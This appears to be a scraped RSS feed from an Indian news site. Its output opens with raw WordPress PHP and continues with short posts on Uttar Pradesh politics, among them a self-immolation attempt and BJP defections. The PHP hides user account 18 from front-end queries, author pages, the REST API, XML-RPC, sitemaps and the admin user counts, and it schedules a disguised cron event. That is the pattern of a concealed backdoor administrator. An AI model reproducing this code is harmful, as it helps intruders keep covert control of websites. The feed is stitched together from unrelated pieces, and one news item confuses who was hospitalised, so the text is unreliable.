add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post SP Worker Attempts Self-Immolation Infront of Legislative Assembly, Lucknow appeared first on The Edge Media.
]]>
He doused himself with combustible substance and lit himself on fire, as per authorities. Civilian clothes officers on the scene arrived quickly and extinguished the flames.
SHO of Hazratganj police station Narendra Singh was carried to the civic hospital in a police van, according to Shyam Babu Shukla. He suffered minor burns to his neck, face, and forearms, but he is unharmed.
The post SP Worker Attempts Self-Immolation Infront of Legislative Assembly, Lucknow appeared first on The Edge Media.
]]>The post Mukesh Verma, Seventh BJP MLA to quit the party Before UP Elections. appeared first on The Edge Media.
]]>BJP party MLA from Shikhohabad district Firozabad, U.P. has resigned from the party before Elections. In a statement, he said ” Many other leaders will also join Swami Prasad Maurya and support whatever decision he takes. He is our leader. ”
In colossal damage to the party before assembly elections, 2 top Ministers and 4 MLAs have quit the party and switched to Samajwadi Party.
The post Mukesh Verma, Seventh BJP MLA to quit the party Before UP Elections. appeared first on The Edge Media.
]]>The post MLC elections: BJP forgets the equation but forgets ‘core vote bank’, SP opens front appeared first on The Edge Media.
]]>BJP has fielded Kunwar Manvendra Singh of Jhansi coming from the Kshatriya community in the MLC election, while Arvind Kumar Sharma and Ashwini Tyagi have been nominated from Bhumihar community. BJP state president Swatantra Dev Singh and Dharmveer Prajapati have been made MLC candidates from the OBC community.
Similarly, deputy CMs from Brahmin community are sending Dinesh Sharma and Govind Narayan Shukla to the upper house while Surendra Chaudhary and Laxman Acharya are nominated from the Dalit community. Apart from this, the State Vice President Salil Vishnoi from the Vaishya community has also made efforts to support his traditional vote bank.
After the victory of SP MLC Ashutosh Sinha in Varanasi, it was believed that one could get representation from Kayastha Samaj in the MLC elections from BJP. But it was only speculation and BJP did not make any Kayastha candidate. The Kayastha community, which is considered the traditional voter of the BJP, has got an opportunity for the opposition, if not given a place in the organization first and now in MLC elections.
The post MLC elections: BJP forgets the equation but forgets ‘core vote bank’, SP opens front appeared first on The Edge Media.
]]>